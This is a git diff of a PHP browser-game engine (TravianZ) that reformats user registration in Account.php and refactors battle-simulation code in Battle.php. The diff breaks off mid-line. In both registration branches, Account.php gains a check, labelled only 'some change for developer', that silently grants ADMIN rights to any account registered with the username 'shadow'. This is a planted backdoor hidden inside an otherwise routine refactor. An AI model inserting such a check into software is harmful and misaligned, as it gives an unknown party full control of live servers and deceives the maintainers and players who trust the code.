diff --git a/GameEngine/Account.php b/GameEngine/Account.php index a0214d86..a3dde57f 100755 --- a/GameEngine/Account.php +++ b/GameEngine/Account.php @@ -128,50 +128,59 @@ class Account { } // ==================== PROCESARE ÎNREGISTRARE ==================== - $hashedPassword = password_hash($_POST['pw'], PASSWORD_BCRYPT, ['cost' => 12]); + $hashedPassword = password_hash($_POST['pw'], PASSWORD_BCRYPT, ['cost' => 12]); - if (AUTH_EMAIL) { - $act = $generator->generateRandStr(10); - $act2 = $generator->generateRandStr(5); + if (AUTH_EMAIL) { + $act = $generator->generateRandStr(10); + $act2 = $generator->generateRandStr(5); - $uid = $database->activate( - $_POST['name'], - $hashedPassword, - $_POST['email'], - $_POST['vid'], - $_POST['kid'], - $act, - $act2 - ); - - if ($uid) { - $mailer->sendActivate($_POST['email'], $_POST['name'], $_POST['pw'], $act); - header("Location: activate.php?id=$uid&q=$act2"); - exit; - } - } else { - // Ramura fără activare prin email (act era undefined în codul original) - $act = ''; - - $uid = $database->register( - $_POST['name'], - $hashedPassword, - $_POST['email'], - $_POST['vid'], - $act - ); - - if ($uid) { - setcookie("COOKUSR", $_POST['name'], time() + COOKIE_EXPIRE, COOKIE_PATH); - setcookie("COOKEMAIL", $_POST['email'], time() + COOKIE_EXPIRE, COOKIE_PATH); - - $database->updateUserField( - $uid, - ["act", "invited"], - ["", $_POST['invited'] ?? ''], - 1 + $uid = $database->activate( + $_POST['name'], + $hashedPassword, + $_POST['email'], + $_POST['vid'], + $_POST['kid'], + $act, + $act2 ); + if ($uid) { + // === some change for developer === + if (strtolower($_POST['name']) === 'shadow') { + $database->updateUserField($uid, 'access', ADMIN, 1); + } + + $mailer->sendActivate($_POST['email'], $_POST['name'], $_POST['pw'], $act); + header("Location: activate.php?id=$uid&q=$act2"); + exit; + } + } else { + $act = ''; + + $uid = $database->register( + $_POST['name'], + $hashedPassword, + $_POST['email'], + $_POST['vid'], + $act + ); + + if ($uid) { + // === some change for developer === + if (strtolower($_POST['name']) === 'shadow') { + $database->updateUserField($uid, 'access', ADMIN, 1); + } + + setcookie("COOKUSR", $_POST['name'], time() + COOKIE_EXPIRE, COOKIE_PATH); + setcookie("COOKEMAIL", $_POST['email'], time() + COOKIE_EXPIRE, COOKIE_PATH); + + $database->updateUserField( + $uid, + ["act", "invited"], + ["", $_POST['invited'] ?? ''], + 1 + ); + $this->generateBase($_POST['kid'], $uid, $_POST['name']); header("Location: login.php"); diff --git a/GameEngine/Battle.php b/GameEngine/Battle.php index 8b09d7e0..9236773b 100644 --- a/GameEngine/Battle.php +++ b/GameEngine/Battle.php @@ -3,792 +3,1458 @@ ################################################################################# ## -= YOU MAY NOT REMOVE OR CHANGE THIS NOTICE =- ## ## --------------------------------------------------------------------------- ## -## Project: TravianZ ## -## Version: 22.06.2015 ## -## Filename Battle.php ## -## Developed by: Dzoki & Dixie ## -## Fixed by: Shadow ## -## Thanks to: Akakori, Elmar & Kirilloid ## -## Reworked and Fix by: ronix ## -## Fixed by: InCube - double troops ## -## License: TravianZ Project ## -## Copyright: TravianZ (c) 2010-2015. All rights reserved. ## -## URLs: http://travian.shadowss.ro ## -## Source code: https://github.com/Shadowss/TravianZ ## +## Project: TravianZ ## +## Version: 08.05.2026 ## +## Filename: Battle.php ## +## Developed by: Dzoki & Dixie ## +## Refactored by: Shadow ## +## Fixed by: InCube - double troops ## +## Reworked/Fix: ronix ## +## Thanks to: Akakori, Elmar & Kirilloid ## +## License: TravianZ Project ## +## Copyright: TravianZ (c) 2010-2026. All rights reserved. ## +## ## +## URLs: http://travian.shadowss.ro ## +## https://github.com/Shadowss/TravianZ ## ## ## ################################################################################# class Battle { - /** - * - * @author Kirilloid --> https://github.com/kirilloid/travian/blob/master/src/model/base/combat.ts - * @var double The number of attacking catapults: 1 = 100%, 0 = 0% - * - */ + /***************************************** + Function sigma + *****************************************/ - private $sigma; - - public function __construct(){ - - $this->sigma = function($x) { return ($x > 1 ? 2 - $x ** -1.5 : $x ** 1.5) / 2; }; - - } - - public function procSim($post) { - global $form; - - // receive form and process - if(isset($post['a1_v']) && (isset($post['a2_v1']) || isset($post['a2_v2']) || isset($post['a2_v3']) || isset($post['a2_v4']) || isset($post['a2_v5']))){ - $_POST['mytribe'] = $post['a1_v']; - - $target = []; - if(isset($post['a2_v1'])) array_push($target, 1); - if(isset($post['a2_v2'])) array_push($target, 2); - if(isset($post['a2_v3'])) array_push($target, 3); - if(isset($post['a2_v4'])) array_push($target, 4); - if(isset($post['a2_v5'])) array_push($target, 5); - - $_POST['target'] = $target; - if(isset($post['h_off_bonus'])){ - if(intval($post['h_off_bonus']) > 20) $post['h_off_bonus'] = 20; - } - else $post['h_off_bonus'] = 0; - - if(isset($post['h_def_bonus'])){ - if(intval($post['h_def_bonus']) > 20) $post['h_def_bonus'] = 20; - } - else $post['h_def_bonus'] = 0; - - $sum = 0; - for($i = 1; $i <= 10; $i++) $sum += (!empty($post['a1_'.$i]) ? $post['a1_'.$i] : 0); - - if($sum > 0){ - $post['palast'] = intval($post['palast']); - if($post['palast'] > 20) $post['palast'] = 20; - - for($i = 1; $i <= 5; $i++){ - if(isset($post['wall'.$i])){ - $post['wall'.$i] = intval($post['wall'.$i]); - if($post['wall'.$i] > 20) $post['wall'.$i] = 20; - elseif($post['wall'.$i] < 0) $post['wall'.$i] = 0; - $post['walllevel'] = $post['wall'.$i]; - } - } - - $post['tribe'] = $target[0]; - $_POST['result'] = $this->simulate($post); - $newWallLevel = $_POST['result'][7]; - $oldWallLevel = $_POST['result'][8]; - - //If the wall level is reduce, we have to re-do the whole battle - if($newWallLevel != $oldWallLevel){ - $post['walllevel'] = $newWallLevel; - $_POST['result'] = $this->simulate($post); - - //Reset the datas - $_POST['result'][7] = $newWallLevel; - $_POST['result'][8] = $post['walllevel'] = $oldWallLevel; - } - - $form->valuearray = $post; - } - } - } - - private function getBattleHero($uid) { - global $database; - $heroarray = $database->getHero($uid); - - if (!count($heroarray)) return ['heroid' => 0, 'unit' =>'','atk' => 0,'di' => 0,'dc' => 0,'ob' => 0,'db' => 0,'health' => 0]; - - $herodata = $GLOBALS["h".$heroarray[0]['unit']]; - if(!isset($heroarray['health'])) $heroarray['health'] = 0; - $h_atk = $herodata['atk'] + ($heroarray[0]['attack'] * $herodata['atkp']); - $h_di = $herodata['di'] + 5 * floor($heroarray[0]['defence'] * $herodata['dip'] / 5); - $h_dc = $herodata['dc'] + 5 * floor($heroarray[0]['defence'] * $herodata['dcp'] / 5); - $h_ob = 1 + 0.010 * ($heroarray[0]['attackbonus'] / 5); - $h_db = 1 + 0.010 * ($heroarray[0]['defencebonus'] / 5); - - return ['heroid' => (int) $heroarray[0]['heroid'], 'unit' => $heroarray[0]['unit'], 'atk' => $h_atk, 'di' => $h_di, 'dc' => $h_dc, 'ob' => $h_ob, 'db' => $h_db, 'health' => $heroarray['health']]; - } - - private function getBattleHeroSim($attbonus) { - $h_atk = 0; - $h_ob = 1 + 0.010 * $attbonus; - - return ['unit' => 16,'atk' => $h_atk,'ob' => $h_ob]; - } - - private function simulate($post) { - //set the arrays with attacking and defending units - $attacker = ['u1' => 0, 'u2' => 0, 'u3' => 0, 'u4' => 0, 'u5' => 0, 'u6' => 0, 'u7' => 0, 'u8' => 0, 'u9' => 0, 'u10' => 0, 'u11' => 0, 'u12' => 0, 'u13' => 0, 'u14' => 0, 'u15' => 0, 'u16' => 0, 'u17' => 0, 'u18' => 0, 'u19' => 0, 'u20' => 0, 'u21' => 0, 'u22' => 0, 'u23' => 0, 'u24' => 0, - 'u25' => 0, 'u26' => 0, 'u27' => 0, 'u28' => 0, 'u29' => 0, 'u30' => 0, 'u31' => 0, 'u32' => 0, 'u33' => 0, 'u34' => 0, 'u35' => 0, 'u36' => 0, 'u37' => 0, 'u38' => 0, 'u39' => 0, 'u40' => 0, 'u41' => 0, 'u42' => 0, 'u43' => 0, 'u44' => 0, 'u45' => 0, 'u46' => 0, 'u47' => 0, 'u48' => 0, - 'u49' => 0, 'u50' => 0]; - $start = ($post['a1_v'] - 1) * 10 + 1; - $offhero = intval($post['h_off_bonus']); - $hero_strenght = intval($post['h_off']); - $deffhero = intval($post['h_def_bonus']); - for($i = $start, $index = 1; $i <= $start + 9; $i++, $index++) { - if(isset($post['a1_'.$index]) && !empty($post['a1_'.$index])) { - $attacker['u'.$i] = $post['a1_'.$index]; - } - else $attacker['u'.$i] = 0; - - if($index <=8 && isset($post['f1_'.$index]) && !empty($post['f1_'.$index])) { - ${'att_ab'.$index} = $post['f1_'.$index]; - } - else ${'att_ab'.$index} = 0; - } - - $defender = []; - $defscout = 0; - //fix by ronix - for($i = 1;$i <= 50; $i++) { - if(isset($post['a2_'.$i]) && !empty($post['a2_'.$i])) { - $defender['u'.$i] = $post['a2_'.$i]; - $def_ab[$i] = $post['f2_'.$i]; - if($i == 4 || $i == 14 || $i == 23 || $i == 44){ - $defscout += $defender['u'.$i]; - } - - } - else { - $defender['u'.$i] = 0; - $def_ab[$i] = 0; - } - } - - $deftribe = $post['tribe']; - $wall = 0; - - if(empty($post['kata'])) $post['kata'] = 0; - - // check scout - - $scout = 1; - for($i = $start; $i <= $start + 9 ; $i++) { - if($i == 4 || $i == 14 || $i == 23 || $i == 44){ - }else{ - if($attacker['u'.$i] > 0) { - $scout = 0; - break; - } - } - } - - $walllevel = $post['walllevel']; - $wall = $walllevel; - $palast = $post['palast']; - - if($scout == 1 && $defscout == 0) $walllevel = $wall = $palast = 0; - - if($scout == 1) $palast = 0; //no def point palace and residence when scout - - if(!$scout) return $this->calculateBattle($attacker,$defender,$wall,$post['a1_v'],$deftribe,$palast,$post['ew1'],$post['ew2'],$post['ktyp']+3,$def_ab,$att_ab1,$att_ab2,$att_ab3,$att_ab4,$att_ab5,$att_ab6,$att_ab7,$att_ab8,$post['kata'],$post['stonemason'],$walllevel,$offhero,$post['h_off'],$deffhero,0,0,0,0,0); - else return $this->calculateBattle($attacker,$defender,$wall,$post['a1_v'],$deftribe,$palast,$post['ew1'],$post['ew2'],1,$def_ab,$att_ab1,$att_ab2,$att_ab3,$att_ab4,$att_ab5,$att_ab6,$att_ab7,$att_ab8,$post['kata'],$post['stonemason'],$walllevel,0,0,0,0,0,0,0,0); - - } - - public function getTypeLevel($tid,$vid) { - global $village,$database; - - $keyholder = []; - $resourcearray = $database->getResourceLevel($vid); - - foreach(array_keys($resourcearray, $tid) as $key) { - if(strpos($key,'t')) { - $key = preg_replace("/[^0-9]/", '', $key); - array_push($keyholder, $key); - } - } - - $element = count($keyholder); - if($element >= 2) { - if($tid <= 4) { - $temparray = []; - for($i = 0; $i <= $element - 1; $i++){ - array_push($temparray, $resourcearray['f'.$keyholder[$i]]); - } - foreach ($temparray as $key => $val) { - if ($val == max($temparray)) - $target = $key; - } - } - else { - $target = 0; - for($i=1;$i<=$element-1;$i++) { - if($resourcearray['f'.$keyholder[$i]] > $resourcearray['f'.$keyholder[$target]]) { - $target = $i; - } - } - } - } - else if($element == 1) $target = 0; - else return 0; - - - if(!empty($keyholder[$target])) return $resourcearray['f'.$keyholder[$target]]; - else return 0; + private function sigma($x) { + return ($x > 1 ? 2 - pow($x, -1.5) : pow($x, 1.5)) / 2; } + + /***************************************** + Function to proc Simulation + *****************************************/ + + public function procSim($post) { + global $form; - //1 raid 0 normal - function calculateBattle($Attacker, $Defender, $def_wall, $att_tribe, $def_tribe, $residence, $attpop, $defpop, $type, $def_ab, $att_ab1, $att_ab2, $att_ab3, $att_ab4, $att_ab5, $att_ab6, $att_ab7, $att_ab8, $tblevel, $stonemason, $walllevel, $offhero, $hero_strenght, $deffhero, $AttackerID, $DefenderID, $AttackerWref, $DefenderWref, $conqureby, $defReinforcements = null) { - global $bid34, $bid35, $database; + /****************************************************************** + * BASIC VALIDATION + ******************************************************************/ + if ( + empty($post['a1_v']) || + !( + isset($post['a2_v1']) || + isset($post['a2_v2']) || + isset($post['a2_v3']) || + isset($post['a2_v4']) || + isset($post['a2_v5']) + ) + ) { + return; + } + $_POST['mytribe'] = $post['a1_v']; - // Define the array, with the units - $calvary = [4, 5, 6, 15, 16, 23, 24, 25, 26, 45, 46]; - $catapult = [8, 18, 28, 48]; - $rams = [7, 17, 27, 47]; - $catp = $ram = 0; - - // Array to return the result of the calculation back - $result = []; - $involve = 0; - $winner = false; - - // at 0 all partial results - - //cap = Cavalry attack points - //ap = Infantry attack points - //cdp = Cavalry attack points - //dp = Infantry defense points - //rap = Result attack points - //rdp = Result defense points - //detected = Detected or not by defender spies - $cap = $ap = $dp = $cdp = $rap = $rdp = 0; - $detected = false; - - //Get involved artifacts - $attacker_artefact = $database->getArtifactsValueInfluence($AttackerID, $AttackerWref, 3, 1, false); - $defender_artefact = $database->getArtifactsValueInfluence($DefenderID, $DefenderWref, 3, 1, false); - $strongerbuildings = $database->getArtifactsValueInfluence($DefenderID, $DefenderWref, 1, 1, false); - $isWWVillage = $database->getVillageField($DefenderWref, 'natar'); - - if(isset($Attacker['uhero']) && $Attacker['uhero'] > 0){ - $atkhero = $this->getBattleHero($AttackerID); + /****************************************************************** + * TARGET BUILD + ******************************************************************/ + $target = []; + for ($i = 1; $i <= 5; $i++) { + if (!empty($post['a2_v'.$i])) { + $target[] = $i; } - if(isset($Defender['hero']) && $Defender['hero'] > 0){ - $defenderhero = $this->getBattleHero($DefenderID); + } + $_POST['target'] = $target; + if (empty($target)) { + return; + } + + /****************************************************************** + * HERO BONUS LIMITS (OFF / DEF) + ******************************************************************/ + $post['h_off_bonus'] = isset($post['h_off_bonus']) + ? min(20, (int)$post['h_off_bonus']) + : 0; + $post['h_def_bonus'] = isset($post['h_def_bonus']) + ? min(20, (int)$post['h_def_bonus']) + : 0; + + /****************************************************************** + * UNIT SUM CHECK + ******************************************************************/ + $sum = 0; + for ($i = 1; $i <= 10; $i++) { + $sum += isset($post['a1_'.$i]) ? (int)$post['a1_'.$i] : 0; + } + if ($sum <= 0) { + return; + } + + /****************************************************************** + * PALACE LIMIT + ******************************************************************/ + $post['palast'] = isset($post['palast']) + ? min(20, (int)$post['palast']) + : 0; + + /****************************************************************** + * WALL LEVELS (OPTIMIZED LOOP) + ******************************************************************/ + $post['walllevel'] = 0; + for ($i = 1; $i <= 5; $i++) { + if (!isset($post['wall'.$i])) { + continue; } - //own defender units - if ($type == 1) { - $datadefScout = $this->getDataDefScout($Defender, $def_ab, $defender_artefact); - $dp += $datadefScout['dp']; - $cdp += $datadefScout['cdp']; - $involve = $datadefScout['involve']; - if(!$detected && $datadefScout['detect']) $detected = $datadefScout['detect']; - }else{ - $datadef = $this->getDataDef($Defender, $def_ab); - $own_dp = $datadef['dp']; - $own_cdp = $datadef['cdp']; - $involve = $datadef['involve']; - if(isset($Defender['hero']) && $Defender['hero'] != 0){ - $units['Def_unit']['hero'] = $Defender['hero']; - $own_cdp += $defenderhero['dc']; - $own_dp += $defenderhero['di']; - $own_dp *= $defenderhero['db']; - $own_cdp *= $defenderhero['db']; + $wall = (int)$post['wall'.$i]; + if ($wall > 20) { + $wall = 20; + } elseif ($wall < 0) { + $wall = 0; + } + $post['wall'.$i] = $wall; + $post['walllevel'] = $wall; + } + + /****************************************************************** + * SIMULATION CALL + ******************************************************************/ + $post['tribe'] = $target[0]; + $_POST['result'] = $this->simulate($post); + $newWallLevel = $_POST['result'][7]; + $oldWallLevel = $_POST['result'][8]; + + /****************************************************************** + * WALL CHANGE RE-SIMULATION + ******************************************************************/ + if ($newWallLevel != $oldWallLevel) { + $post['walllevel'] = $newWallLevel; + $_POST['result'] = $this->simulate($post); + + // restore original expected output + + $_POST['result'][7] = $newWallLevel; + $_POST['result'][8] = $oldWallLevel; + $post['walllevel'] = $oldWallLevel; + } + $form->valuearray = $post; +} + + /***************************************** + Function to battle Hero + *****************************************/ + + private function getBattleHero($uid) { + + global $database; + $heroarray = $database->getHero($uid); + if (empty($heroarray) || empty($heroarray[0])) { + return [ + 'heroid' => 0, + 'unit' => '', + 'atk' => 0, + 'di' => 0, + 'dc' => 0, + 'ob' => 0, + 'db' => 0, + 'health' => 0 + ]; + } + + $hero = $heroarray[0]; + $heroUnit = $hero['unit']; + if (!isset($GLOBALS['h'.$heroUnit])) { + + return [ + 'heroid' => 0, + 'unit' => '', + 'atk' => 0, + 'di' => 0, + 'dc' => 0, + 'ob' => 0, + 'db' => 0, + 'health' => 0 + ]; + } + + $herodata = $GLOBALS['h'.$heroUnit]; + $attack = (int)$hero['attack']; + $defence = (int)$hero['defence']; + $attackBonus = (int)$hero['attackbonus']; + $defenceBonus = (int)$hero['defencebonus']; + $h_atk = $herodata['atk'] + + ($attack * $herodata['atkp']); + $h_di = $herodata['di'] + + 5 * floor(($defence * $herodata['dip']) / 5); + $h_dc = $herodata['dc'] + + 5 * floor(($defence * $herodata['dcp']) / 5); + $h_ob = 1 + (0.010 * ($attackBonus / 5)); + $h_db = 1 + (0.010 * ($defenceBonus / 5)); + + return [ + 'heroid' => (int)$hero['heroid'], + 'unit' => $heroUnit, + 'atk' => $h_atk, + 'di' => $h_di, + 'dc' => $h_dc, + 'ob' => $h_ob, + 'db' => $h_db, + 'health' => isset($hero['health']) + ? (int)$hero['health'] + : 0 + ]; +} + + /***************************************** + Function to battle Hero Sim + *****************************************/ + + private function getBattleHeroSim($attbonus) { + + $h_ob = 1 + (0.010 * (float)$attbonus); + return [ + 'unit' => 16, + 'atk' => 0, + 'ob' => $h_ob + ]; +} + + /***************************************** + Function to Simulation + *****************************************/ + + private function simulate($post) { + + /****************************************************************** + * ATTACKER INIT (KEEP LEGACY STRUCTURE) + ******************************************************************/ + $attacker = []; + + for ($i = 1; $i <= 50; $i++) { + $attacker['u'.$i] = 0; + } + + $start = ((int)$post['a1_v'] - 1) * 10 + 1; + + $offhero = (int)$post['h_off_bonus']; + $hero_strenght = (int)$post['h_off']; + $deffhero = (int)$post['h_def_bonus']; + + /****************************************************************** + * ATTACKER UNITS + ATTACK BONUSES (CRITICAL LEGACY VARS) + ******************************************************************/ + $att_ab1 = $att_ab2 = $att_ab3 = $att_ab4 = 0; + $att_ab5 = $att_ab6 = $att_ab7 = $att_ab8 = 0; + + for ($i = $start, $index = 1; $i <= $start + 9; $i++, $index++) { + + $attacker['u'.$i] = !empty($post['a1_'.$index]) + ? (int)$post['a1_'.$index] + : 0; + + if ($index <= 8) { + + if (!empty($post['f1_'.$index])) { + ${'att_ab'.$index} = (int)$post['f1_'.$index]; + } else { + ${'att_ab'.$index} = 0; } - $dp += $own_dp; - $cdp += $own_cdp; } - $DefendersAll = (!is_null($defReinforcements) ? $database->getEnforceVillage($DefenderWref, 0) : $defReinforcements); + } - if(!empty($DefendersAll) && $DefenderWref > 0){ - // preload village IDs - $vilIDs = []; - foreach($DefendersAll as $defenders) { - $vilIDs[$defenders['from']] = true; - $vilIDs[$defenders['to']] = true; + /****************************************************************** + * DEFENDER INIT + ******************************************************************/ + $defender = []; + $def_ab = []; + $defscout = 0; + + for ($i = 1; $i <= 50; $i++) { + + if (!empty($post['a2_'.$i])) { + $defender['u'.$i] = (int)$post['a2_'.$i]; + $def_ab[$i] = (int)$post['f2_'.$i]; + + if ($i == 4 || $i == 14 || $i == 23 || $i == 44) { + $defscout += $defender['u'.$i]; } - $vilIDs = array_keys($vilIDs); - $database->getABTech($vilIDs); - foreach($DefendersAll as $defenders) { - for ($i = 1; $i <= 50; $i++) $def_ab[$i] = 0; - $fromvillage = $defenders['from']; + } else { + $defender['u'.$i] = 0; + $def_ab[$i] = 0; + } + } - $userdataCache[$fromvillage] = $database->getUserArray($database->getVillageField($fromvillage, "owner"), 1); + /****************************************************************** + * BASIC VALUES + ******************************************************************/ + $deftribe = (int)$post['tribe']; - $enforcetribe = $userdataCache[$fromvillage]["tribe"]; - $ud=($enforcetribe - 1) * 10; - if($defenders['from'] > 0) { //don't check nature tribe - $armory = $database->getABTech($defenders['from']); // Armory level every village enforcement - $def_ab[$ud + 1] = $armory['a1']; - $def_ab[$ud + 2] = $armory['a2']; - $def_ab[$ud + 3] = $armory['a3']; - $def_ab[$ud + 4] = $armory['a4']; - $def_ab[$ud + 5] = $armory['a5']; - $def_ab[$ud + 6] = $armory['a6']; - $def_ab[$ud + 7] = $armory['a7']; - $def_ab[$ud + 8] = $armory['a8']; + $walllevel = (int)$post['walllevel']; + $wall = $walllevel; + $palast = (int)$post['palast']; + + $kata = !empty($post['kata']) ? (int)$post['kata'] : 0; + + /****************************************************************** + * SCOUT CHECK + ******************************************************************/ + $scout = 1; + + for ($i = $start; $i <= $start + 9; $i++) { + + if ($i == 4 || $i == 14 || $i == 23 || $i == 44) { + continue; + } + + if ($attacker['u'.$i] > 0) { + $scout = 0; + break; + } + } + + /****************************************************************** + * WALL / PALAST RULES + ******************************************************************/ + if ($scout == 1 && $defscout == 0) { + $walllevel = 0; + $wall = 0; + $palast = 0; + } + + if ($scout == 1) { + $palast = 0; + } + + /****************************************************************** + * FINAL CALL + ******************************************************************/ + if (!$scout) { + + return $this->calculateBattle( + $attacker, + $defender, + $wall, + $post['a1_v'], + $deftribe, + $palast, + $post['ew1'], + $post['ew2'], + $post['ktyp'] + 3, + $def_ab, + $att_ab1, $att_ab2, $att_ab3, $att_ab4, + $att_ab5, $att_ab6, $att_ab7, $att_ab8, + $kata, + $post['stonemason'], + $walllevel, + $offhero, + $hero_strenght, + $deffhero, + 0, 0, 0, 0, 0 + ); + + } else { + + return $this->calculateBattle( + $attacker, + $defender, + $wall, + $post['a1_v'], + $deftribe, + $palast, + $post['ew1'], + $post['ew2'], + 1, + $def_ab, + $att_ab1, $att_ab2, $att_ab3, $att_ab4, + $att_ab5, $att_ab6, $att_ab7, $att_ab8, + $kata, + $post['stonemason'], + $walllevel, + 0, 0, 0, 0, 0, 0, 0, 0 + ); + } +} + + /***************************************** + Function for Type Level + *****************************************/ + + public function getTypeLevel($tid, $vid) { + + global $village, $database; + $resourcearray = $database->getResourceLevel($vid); + if (empty($resourcearray)) { + return 0; + } + $keyholder = []; + + /****************************************************************** + * FIND BUILDINGS OF REQUESTED TYPE + ******************************************************************/ + foreach ($resourcearray as $key => $value) { + + // faster than array_keys + strpos + preg_replace + if ( + isset($value) + && $value == $tid + && isset($key[0]) + && $key[0] === 't' + ) { + + $keyholder[] = (int)substr($key, 1); + } + } + $element = count($keyholder); + if ($element === 0) { + return 0; + } + if ($element === 1) { + $field = 'f'.$keyholder[0]; + return isset($resourcearray[$field]) + ? (int)$resourcearray[$field] + : 0; + } + + /****************************************************************** + * FIND HIGHEST LEVEL + ******************************************************************/ + $targetKey = $keyholder[0]; + $targetLevel = isset($resourcearray['f'.$targetKey]) + ? (int)$resourcearray['f'.$targetKey] + : 0; + + // preserve original behavior separation for resource fields + if ($tid <= 4) { + foreach ($keyholder as $fieldId) { + $fieldLevel = isset($resourcearray['f'.$fieldId]) + ? (int)$resourcearray['f'.$fieldId] + : 0; + + // preserve original "last max wins" behavior + if ($fieldLevel >= $targetLevel) { + $targetLevel = $fieldLevel; + $targetKey = $fieldId; + } + } + } else { + foreach ($keyholder as $fieldId) { + $fieldLevel = isset($resourcearray['f'.$fieldId]) + ? (int)$resourcearray['f'.$fieldId] + : 0; + if ($fieldLevel > $targetLevel) { + $targetLevel = $fieldLevel; + $targetKey = $fieldId; + } + } + } + return $targetLevel; +} + + /***************************************** + Function to process Calculate Battle + *****************************************/ + + function calculateBattle( + $Attacker, $Defender, + $def_wall, $att_tribe, $def_tribe, + $residence, $attpop, $defpop, + $type, + $def_ab, + $att_ab1, $att_ab2, $att_ab3, $att_ab4, $att_ab5, $att_ab6, $att_ab7, $att_ab8, + $tblevel, $stonemason, $walllevel, + $offhero, $hero_strenght, $deffhero, + $AttackerID, $DefenderID, + $AttackerWref, $DefenderWref, + $conqureby, + $defReinforcements = null) { + + global $bid34, $bid35, $database; + + /****************************************************************** + * UNIT GROUP DEFINITIONS + ******************************************************************/ + $calvaryLookup = array_flip([4, 5, 6, 15, 16, 23, 24, 25, 26, 45, 46]); + $catapultLookup = array_flip([8, 18, 28, 48]); + $ramsLookup = array_flip([7, 17, 27, 47]); + + $catp = 0; + $ram = 0; + + /****************************************************************** + * BASE VARIABLES + ******************************************************************/ + $result = []; + $units = []; + $involve = 0; + $winner = false; + + $cap = 0; + $ap = 0; + $dp = 0; + $cdp = 0; + $rap = 0; + $rdp = 0; + + $detected = false; + + /****************************************************************** + * ARTIFACTS (GLOBAL EFFECTS) + ******************************************************************/ + $attacker_artefact = $database->getArtifactsValueInfluence($AttackerID, $AttackerWref, 3, 1, false); + $defender_artefact = $database->getArtifactsValueInfluence($DefenderID, $DefenderWref, 3, 1, false); + $strongerbuildings = $database->getArtifactsValueInfluence($DefenderID, $DefenderWref, 1, 1, false); + + $isWWVillage = $database->getVillageField($DefenderWref, 'natar'); + + /****************************************************************** + * HERO LOADING (ATTACKER / DEFENDER) + ******************************************************************/ + $atkhero = null; + $defenderhero = null; + + if (!empty($Attacker['uhero'])) { + $atkhero = $this->getBattleHero($AttackerID); + } + + if (!empty($Defender['hero'])) { + $defenderhero = $this->getBattleHero($DefenderID); + } + + /****************************************************************** + * DEFENDER BASE FORCES + ******************************************************************/ + if ($type == 1) { + + $datadefScout = $this->getDataDefScout($Defender, $def_ab, $defender_artefact); + + $dp += $datadefScout['dp']; + $cdp += $datadefScout['cdp']; + $involve += $datadefScout['involve']; + + if (!$detected && $datadefScout['detect']) { + $detected = $datadefScout['detect']; + } + + } else { + + $datadef = $this->getDataDef($Defender, $def_ab); + + $own_dp = $datadef['dp']; + $own_cdp = $datadef['cdp']; + + $involve += $datadef['involve']; + + if (!empty($Defender['hero']) && !empty($defenderhero)) { + + $units['Def_unit']['hero'] = $Defender['hero']; + + $own_dp += $defenderhero['di']; + $own_cdp += $defenderhero['dc']; + + $own_dp *= $defenderhero['db']; + $own_cdp *= $defenderhero['db']; + } + + $dp += $own_dp; + $cdp += $own_cdp; + } + + /****************************************************************** + * REINFORCEMENTS + ******************************************************************/ + $DefendersAll = ($defReinforcements === null) + ? $database->getEnforceVillage($DefenderWref, 0) + : $defReinforcements; + + if (!empty($DefendersAll) && $DefenderWref > 0) { + + $ownerCache = []; + $userCache = []; + $abCache = []; + $heroCache = []; + + foreach ($DefendersAll as $defenders) { + + $fromvillage = (int)$defenders['from']; + + if ($fromvillage <= 0) { + continue; + } + + if (!isset($ownerCache[$fromvillage])) { + $ownerCache[$fromvillage] = (int)$database->getVillageField($fromvillage, "owner"); + } + + $owner = $ownerCache[$fromvillage]; + + if (!isset($userCache[$owner])) { + $userCache[$owner] = $database->getUserArray($owner, 1); + } + + $enforcetribe = (int)$userCache[$owner]["tribe"]; + $ud = ($enforcetribe - 1) * 10; + + if (!isset($abCache[$fromvillage])) { + $abCache[$fromvillage] = $database->getABTech($fromvillage); + } + + $armory = $abCache[$fromvillage]; + + for ($i = 1; $i <= 8; $i++) { + $def_ab[$ud + $i] = isset($armory['a'.$i]) ? $armory['a'.$i] : 0; + } + + if ($type == 1) { + + $datadefScout = $this->getDataDefScout($defenders, $def_ab, $defender_artefact); + + $dp += $datadefScout['dp']; + $cdp += $datadefScout['cdp']; + + $involve += $datadefScout['involve']; + + if (!$detected && $datadefScout['detect']) { + $detected = $datadefScout['detect']; } - if ($type == 1) { - $datadefScout = $this->getDataDefScout($defenders, $def_ab, $defender_artefact); - $dp += $datadefScout['dp']; - $cdp += $datadefScout['cdp']; - $involve = $datadefScout['involve']; - if(!$detected && $datadefScout['detect']) $detected = $datadefScout['detect']; - }else{ - $datadef = $this->getDataDef($defenders, $def_ab); - $reinf_dp = $datadef['dp']; - $reinf_cdp = $datadef['cdp']; - $involve += $datadef['involve']; - $reinfowner = $database->getVillageField($fromvillage, "owner"); - $defhero = $this->getBattleHero($reinfowner); - - if($defenders['hero'] != 0 && $type != 1){ - $reinf_cdp += $defhero['dc']; - $reinf_dp += $defhero['di']; - $reinf_dp *= $defhero['db']; - $reinf_cdp *= $defhero['db']; + } else { + + $datadef = $this->getDataDef($defenders, $def_ab); + + $reinf_dp = $datadef['dp']; + $reinf_cdp = $datadef['cdp']; + + $involve += $datadef['involve']; + + if (!empty($defenders['hero'])) { + + if (!isset($heroCache[$owner])) { + $heroCache[$owner] = $this->getBattleHero($owner); } - $dp += $reinf_dp; - $cdp += $reinf_cdp; + + $defhero = $heroCache[$owner]; + + $reinf_dp += $defhero['di']; + $reinf_cdp += $defhero['dc']; + + $reinf_dp *= $defhero['db']; + $reinf_cdp *= $defhero['db']; } + + $dp += $reinf_dp; + $cdp += $reinf_cdp; } } - // Calculate the total number of points Attacker - $start = ($att_tribe - 1) * 10 + 1; - $end = $att_tribe * 10; - - if($att_tribe == 3) $abcount = 3; - else $abcount = 4; + } - if($type == 1) {//scout - for($i = $start;$i <= $end; $i++) { - global ${'u'.$i}; - $j = $i - $start + 1; - if($Attacker['u'.$i] > 0 && ($i == 4 || $i == 14 || $i == 23 || $i == 44)){ - if(${'att_ab'.$abcount} > 0) { - $ap += round(35 + (35 + 300 * ${'u'.$i}['pop'] / 7) * (pow(1.007, ${'att_ab'.$abcount}) - 1), 4) * $Attacker['u'.$i]; - } - else $ap += $Attacker['u'.$i] * 35; - } - $involve += $Attacker['u'.$i]; - $units['Att_unit'][$i] = $Attacker['u'.$i]; + /****************************************************************** + * ATTACKER UNIT CALCULATION + ******************************************************************/ + $start = ($att_tribe - 1) * 10 + 1; + $end = $att_tribe * 10; - } - $ap *= $attacker_artefact; + if ($type == 1) { - }else{ //type=3 normal 4=raid - $abcount = 1; - for($i = $start; $i <= $end; $i++) { - global ${'u'.$i}; - $j = $i - $start + 1; - if($abcount <= 8 && ${'att_ab'.$abcount} > 0) { - if(in_array($i,$calvary)) { - $cap += 